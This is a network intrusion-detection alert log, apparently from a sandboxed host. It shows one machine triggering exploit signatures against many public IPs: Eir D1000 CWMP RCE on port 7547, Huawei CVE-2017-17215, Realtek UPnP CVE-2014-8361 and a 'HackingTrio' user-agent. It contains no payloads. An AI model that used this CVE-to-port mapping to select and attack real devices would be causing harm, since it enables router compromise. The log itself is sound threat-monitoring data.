04/15/24-08:52:28.861888	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56680	7547	192.168.2.13	67.0.222.101
04/15/24-08:53:37.441572	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58448	7547	192.168.2.13	118.63.39.155
04/15/24-08:52:19.651997	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58818	7547	192.168.2.13	47.187.9.45
04/15/24-08:53:29.678722	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58144	7547	192.168.2.13	47.149.41.251
04/15/24-08:53:49.393533	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40008	80	192.168.2.13	5.12.84.240
04/15/24-08:53:21.865099	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60204	7547	192.168.2.13	211.218.225.190
04/15/24-08:52:22.514767	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48278	7547	192.168.2.13	37.140.76.86
04/15/24-08:52:36.382522	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52664	7547	192.168.2.13	14.85.46.227
04/15/24-08:53:17.993346	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44370	7547	192.168.2.13	94.123.49.193
04/15/24-08:52:44.397813	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37604	7547	192.168.2.13	174.87.177.239
04/15/24-08:53:49.656264	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60600	80	192.168.2.13	98.151.113.169
04/15/24-08:53:14.478759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37950	7547	192.168.2.13	14.75.96.121
04/15/24-08:52:47.744212	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36684	80	192.168.2.13	211.40.85.3
04/15/24-08:53:48.270178	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47910	7547	192.168.2.13	41.251.136.101
04/15/24-08:53:50.777572	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60736	7547	192.168.2.13	175.203.67.40
04/15/24-08:53:53.000148	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39020	7547	192.168.2.13	24.213.101.176
04/15/24-08:53:41.234146	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54660	80	192.168.2.13	180.255.6.90
04/15/24-08:53:56.344675	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54426	7547	192.168.2.13	59.30.207.184
04/15/24-08:53:34.943546	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52288	80	192.168.2.13	52.89.68.19
04/15/24-08:52:40.443386	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51950	7547	192.168.2.13	220.84.221.187
04/15/24-08:53:27.857247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54258	37215	192.168.2.13	34.43.81.131
04/15/24-08:52:30.968124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36180	52869	192.168.2.13	94.121.129.98
04/15/24-08:52:29.427149	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36920	80	192.168.2.13	186.7.171.100
04/15/24-08:53:16.668836	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56412	80	192.168.2.13	112.84.130.47
04/15/24-08:53:37.744390	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32936	7547	192.168.2.13	109.156.212.192
04/15/24-08:52:26.169053	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54110	7547	192.168.2.13	93.81.145.250
04/15/24-08:53:21.495005	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35558	80	192.168.2.13	18.160.1.86
04/15/24-08:53:37.439682	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32916	7547	192.168.2.13	109.156.212.192
04/15/24-08:53:15.451288	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56688	52869	192.168.2.13	138.136.133.160
04/15/24-08:53:26.999713	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33408	80	192.168.2.13	5.17.192.77
04/15/24-08:53:41.702095	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51486	80	192.168.2.13	52.194.49.108
04/15/24-08:52:30.793523	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42780	7547	192.168.2.13	190.230.4.69
04/15/24-08:52:49.468018	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41364	7547	192.168.2.13	86.181.149.181
04/15/24-08:53:10.815418	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56914	7547	192.168.2.13	118.210.102.135
04/15/24-08:53:54.288823	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40852	7547	192.168.2.13	121.190.36.35
04/15/24-08:53:24.169929	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45614	52869	192.168.2.13	38.207.119.50
04/15/24-08:53:48.692722	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51968	7547	192.168.2.13	34.117.243.93
04/15/24-08:52:37.803185	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38522	7547	192.168.2.13	99.248.156.166
04/15/24-08:52:56.486271	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54382	7547	192.168.2.13	51.6.156.139
04/15/24-08:53:16.657032	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	41760	80	192.168.2.13	38.174.157.147
04/15/24-08:53:48.863663	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33166	7547	192.168.2.13	115.64.16.28
04/15/24-08:53:42.897770	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45988	7547	192.168.2.13	188.138.203.45
04/15/24-08:53:41.202468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56404	52869	192.168.2.13	172.65.91.68
04/15/24-08:52:12.682878	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46914	7547	192.168.2.13	95.78.49.138
04/15/24-08:52:45.346085	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49888	7547	192.168.2.13	177.62.41.219
04/15/24-08:53:22.338830	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44394	7547	192.168.2.13	31.45.203.234
04/15/24-08:53:21.763327	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53582	7547	192.168.2.13	172.76.84.173
04/15/24-08:53:25.039041	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39294	7547	192.168.2.13	47.199.235.25
04/15/24-08:53:18.834192	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41216	7547	192.168.2.13	172.250.90.166
04/15/24-08:53:55.082823	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43878	7547	192.168.2.13	31.181.248.84
04/15/24-08:53:18.960839	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60068	7547	192.168.2.13	211.218.225.190
04/15/24-08:53:23.127397	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49084	7547	192.168.2.13	183.106.91.221
04/15/24-08:53:37.980198	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52726	80	192.168.2.13	92.244.209.152
04/15/24-08:53:29.192150	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	57654	80	192.168.2.13	108.138.196.242
04/15/24-08:52:28.387872	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60854	7547	192.168.2.13	5.167.43.27
04/15/24-08:52:33.051091	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43606	80	192.168.2.13	103.197.15.94
04/15/24-08:52:45.015478	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49872	7547	192.168.2.13	177.62.41.219
04/15/24-08:52:52.646436	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35726	80	192.168.2.13	23.204.122.75
04/15/24-08:53:46.959507	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34006	7547	192.168.2.13	95.5.247.230
04/15/24-08:52:26.624728	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54664	7547	192.168.2.13	107.159.134.51
04/15/24-08:52:20.456993	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35418	7547	192.168.2.13	41.111.144.28
04/15/24-08:52:23.052631	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54054	7547	192.168.2.13	93.81.145.250
04/15/24-08:53:23.856441	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55084	52869	192.168.2.13	203.99.106.59
04/15/24-08:52:46.209392	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53820	52869	192.168.2.13	34.149.128.155
04/15/24-08:52:42.022519	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49654	7547	192.168.2.13	50.47.156.154
04/15/24-08:53:10.594808	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33258	7547	192.168.2.13	74.134.70.250
04/15/24-08:52:27.449718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43570	52869	192.168.2.13	208.112.192.208
04/15/24-08:53:49.731979	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44058	80	192.168.2.13	140.246.80.139
04/15/24-08:53:56.051835	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52134	7547	192.168.2.13	181.208.224.85
04/15/24-08:53:14.154319	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36266	7547	192.168.2.13	61.81.159.153
04/15/24-08:52:47.758767	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50760	80	192.168.2.13	213.86.245.74
04/15/24-08:53:32.928551	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42674	7547	192.168.2.13	216.193.162.10
04/15/24-08:52:45.152471	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32838	7547	192.168.2.13	51.211.83.159
04/15/24-08:53:29.808459	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43590	7547	192.168.2.13	51.91.60.24
04/15/24-08:53:42.639443	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35774	7547	192.168.2.13	173.33.56.136
04/15/24-08:52:49.488832	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54178	7547	192.168.2.13	196.235.219.135
04/15/24-08:52:46.275741	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34420	7547	192.168.2.13	103.147.141.62
04/15/24-08:53:57.145984	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55350	80	192.168.2.13	54.194.132.239
04/15/24-08:52:31.273325	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46878	52869	192.168.2.13	34.110.241.133
04/15/24-08:52:45.266413	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54562	7547	192.168.2.13	14.78.64.65
04/15/24-08:52:54.839528	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57406	7547	192.168.2.13	92.59.230.166
04/15/24-08:53:24.169929	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45614	52869	192.168.2.13	38.207.119.50
04/15/24-08:53:42.520956	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59576	80	192.168.2.13	34.102.156.195
04/15/24-08:52:39.491022	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44428	7547	192.168.2.13	201.42.174.180
04/15/24-08:52:48.141652	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51874	80	192.168.2.13	23.202.139.225
04/15/24-08:53:32.893604	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58268	7547	192.168.2.13	71.42.92.137
04/15/24-08:53:00.565918	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38398	7547	192.168.2.13	41.100.72.58
04/15/24-08:53:37.973121	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60516	80	192.168.2.13	23.222.62.177
04/15/24-08:52:29.801368	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36568	7547	192.168.2.13	201.226.185.29
04/15/24-08:52:41.312265	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46334	7547	192.168.2.13	186.152.208.111
04/15/24-08:53:37.451963	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44954	7547	192.168.2.13	191.61.137.161
04/15/24-08:52:26.100766	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53370	7547	192.168.2.13	218.159.250.155
04/15/24-08:52:57.667609	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51186	7547	192.168.2.13	99.255.65.96
04/15/24-08:53:23.856441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55084	52869	192.168.2.13	203.99.106.59
04/15/24-08:52:31.380682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55288	52869	192.168.2.13	160.141.49.1
04/15/24-08:53:01.704704	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50494	7547	192.168.2.13	99.239.94.111
04/15/24-08:53:10.727285	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40924	7547	192.168.2.13	119.213.83.228
04/15/24-08:53:30.092883	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43606	7547	192.168.2.13	51.91.60.24
04/15/24-08:53:04.650189	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34836	7547	192.168.2.13	45.239.134.57
04/15/24-08:53:08.470485	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59702	7547	192.168.2.13	47.149.15.5
04/15/24-08:53:25.653597	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55540	7547	192.168.2.13	5.167.250.53
04/15/24-08:53:57.054526	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54244	7547	192.168.2.13	207.174.148.251
04/15/24-08:52:51.736984	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46556	7547	192.168.2.13	119.203.76.132
04/15/24-08:52:41.193323	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43928	7547	192.168.2.13	172.85.3.23
04/15/24-08:53:04.987389	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58104	7547	192.168.2.13	168.121.175.155
04/15/24-08:53:07.533818	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42678	80	192.168.2.13	88.218.226.56
04/15/24-08:53:07.447727	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56672	80	192.168.2.13	3.232.250.104
04/15/24-08:53:28.722975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50240	52869	192.168.2.13	164.250.240.184
04/15/24-08:52:46.550019	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49932	7547	192.168.2.13	177.62.41.219
04/15/24-08:53:51.120671	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46434	7547	192.168.2.13	139.192.170.56
04/15/24-08:52:27.449718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43570	52869	192.168.2.13	208.112.192.208
04/15/24-08:53:00.902523	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38892	7547	192.168.2.13	5.3.241.235
04/15/24-08:53:07.479921	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56254	52869	192.168.2.13	182.16.188.82
04/15/24-08:53:28.086948	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59898	7547	192.168.2.13	92.177.41.180
04/15/24-08:52:28.303049	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52278	7547	192.168.2.13	66.65.167.194
04/15/24-08:52:28.394218	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41810	7547	192.168.2.13	47.155.82.176
04/15/24-08:52:16.150967	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46644	7547	192.168.2.13	61.79.31.242
04/15/24-08:52:27.042261	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49502	7547	192.168.2.13	222.102.175.140
04/15/24-08:52:53.807829	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42412	80	192.168.2.13	191.84.45.70
04/15/24-08:53:03.086920	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52296	80	192.168.2.13	188.166.248.194
04/15/24-08:53:38.560416	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39738	7547	192.168.2.13	72.191.42.237
04/15/24-08:52:28.660398	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45958	7547	192.168.2.13	190.194.183.233
04/15/24-08:53:00.861126	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33248	7547	192.168.2.13	119.216.204.195
04/15/24-08:52:27.165871	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45282	7547	192.168.2.13	159.192.82.7
04/15/24-08:52:40.708963	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51420	7547	192.168.2.13	147.192.6.14
04/15/24-08:53:53.950993	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55442	7547	192.168.2.13	50.48.75.22
04/15/24-08:53:27.862374	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56662	7547	192.168.2.13	115.18.55.39
04/15/24-08:53:50.045725	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57300	7547	192.168.2.13	175.208.35.1
04/15/24-08:52:44.768546	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46484	7547	192.168.2.13	99.238.240.146
04/15/24-08:53:02.300593	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59800	7547	192.168.2.13	188.234.22.65
04/15/24-08:53:41.339943	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50084	80	192.168.2.13	31.134.108.58
04/15/24-08:52:44.686375	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42804	7547	192.168.2.13	37.16.13.15
04/15/24-08:52:50.719290	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60118	7547	192.168.2.13	119.199.32.244
04/15/24-08:53:50.609170	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40886	80	192.168.2.13	108.159.219.217
04/15/24-08:53:33.076036	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38688	7547	192.168.2.13	14.74.68.86
04/15/24-08:52:26.094517	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47614	7547	192.168.2.13	39.29.129.101
04/15/24-08:52:28.713469	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52286	80	192.168.2.13	54.227.111.115
04/15/24-08:52:28.531745	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51648	7547	192.168.2.13	65.131.196.41
04/15/24-08:52:15.897763	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43374	80	192.168.2.13	23.50.154.67
04/15/24-08:52:46.000239	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56086	7547	192.168.2.13	85.216.176.48
04/15/24-08:52:31.080215	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42790	7547	192.168.2.13	190.230.4.69
04/15/24-08:53:28.895224	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56632	80	192.168.2.13	83.220.174.157
04/15/24-08:53:50.713509	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53168	80	192.168.2.13	90.160.199.73
04/15/24-08:53:43.292264	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49416	7547	192.168.2.13	89.181.14.231
04/15/24-08:53:30.065380	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59092	7547	192.168.2.13	186.27.132.13
04/15/24-08:52:13.905530	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34480	7547	192.168.2.13	121.149.168.189
04/15/24-08:52:47.623630	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55104	80	192.168.2.13	74.87.6.245
04/15/24-08:52:55.080760	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57816	7547	192.168.2.13	124.219.137.204
04/15/24-08:53:58.207949	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45058	80	192.168.2.13	23.52.116.47
04/15/24-08:52:45.937262	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34398	7547	192.168.2.13	103.147.141.62
04/15/24-08:52:42.939942	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43174	7547	192.168.2.13	173.33.105.12
04/15/24-08:52:48.240137	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54348	80	192.168.2.13	46.245.85.103
04/15/24-08:52:13.972378	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42706	7547	192.168.2.13	80.111.199.200
04/15/24-08:53:50.071651	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41048	7547	192.168.2.13	183.124.218.211
04/15/24-08:52:12.887228	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55842	7547	192.168.2.13	50.103.64.100
04/15/24-08:53:05.076288	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48688	7547	192.168.2.13	213.243.25.244
04/15/24-08:53:41.449900	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40412	80	192.168.2.13	54.227.211.2
04/15/24-08:52:22.861472	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33954	7547	192.168.2.13	71.94.50.118
04/15/24-08:53:22.565647	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50698	7547	192.168.2.13	112.161.210.106
04/15/24-08:53:10.730759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57836	7547	192.168.2.13	220.120.65.215
04/15/24-08:53:41.831757	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33304	7547	192.168.2.13	75.167.10.129
04/15/24-08:53:49.797997	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50982	80	192.168.2.13	176.124.195.182
04/15/24-08:53:04.528967	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39554	7547	192.168.2.13	75.168.83.35
04/15/24-08:53:37.981238	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36206	80	192.168.2.13	118.190.246.2
04/15/24-08:52:57.732984	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38346	7547	192.168.2.13	59.30.60.157
04/15/24-08:53:27.847253	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49720	7547	192.168.2.13	220.85.134.187
04/15/24-08:53:06.961829	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53664	80	192.168.2.13	63.41.214.178
04/15/24-08:53:10.881220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50484	52869	192.168.2.13	164.250.163.134
04/15/24-08:52:51.408727	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47554	80	192.168.2.13	209.54.99.181
04/15/24-08:53:43.076470	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51060	7547	192.168.2.13	175.228.4.92
04/15/24-08:52:28.559618	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52308	7547	192.168.2.13	66.65.167.194
04/15/24-08:52:58.370424	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37414	7547	192.168.2.13	39.53.254.123
04/15/24-08:53:16.766124	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51690	80	192.168.2.13	23.61.47.156
04/15/24-08:52:40.952733	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43920	7547	192.168.2.13	172.85.3.23
04/15/24-08:52:28.735165	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58068	80	192.168.2.13	186.7.196.2
04/15/24-08:53:26.974578	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56472	80	192.168.2.13	144.178.92.106
04/15/24-08:53:49.723686	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58666	80	192.168.2.13	128.199.144.166
04/15/24-08:53:35.045827	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35548	80	192.168.2.13	51.75.16.97
04/15/24-08:52:28.301995	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42216	7547	192.168.2.13	66.61.113.246
04/15/24-08:53:07.068530	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52284	80	192.168.2.13	211.149.167.187
04/15/24-08:52:20.354913	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52662	7547	192.168.2.13	105.244.210.18
04/15/24-08:53:53.144986	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56746	7547	192.168.2.13	197.203.82.105
04/15/24-08:53:57.251599	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46502	52869	192.168.2.13	95.14.124.70
04/15/24-08:52:15.891825	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35680	80	192.168.2.13	206.119.7.49
04/15/24-08:53:49.397166	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43428	80	192.168.2.13	182.242.216.220
04/15/24-08:52:51.986751	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34226	7547	192.168.2.13	47.7.35.31
04/15/24-08:53:03.076125	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46730	80	192.168.2.13	23.197.121.143
04/15/24-08:52:52.555787	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34690	80	192.168.2.13	18.64.57.139
04/15/24-08:52:59.146870	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59130	7547	192.168.2.13	31.136.74.211
04/15/24-08:53:18.013230	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36454	7547	192.168.2.13	109.168.255.45
04/15/24-08:53:42.042023	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54854	7547	192.168.2.13	47.160.36.20
04/15/24-08:52:49.578114	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51334	7547	192.168.2.13	107.151.208.244
04/15/24-08:52:44.849400	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55888	7547	192.168.2.13	201.210.111.76
04/15/24-08:53:37.901313	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50074	7547	192.168.2.13	109.227.23.35
04/15/24-08:52:20.239421	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56294	7547	192.168.2.13	75.165.150.113
04/15/24-08:53:46.613470	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33978	7547	192.168.2.13	95.5.247.230
04/15/24-08:52:13.865376	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57130	7547	192.168.2.13	86.179.210.39
04/15/24-08:52:47.856899	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56168	80	192.168.2.13	115.66.61.52
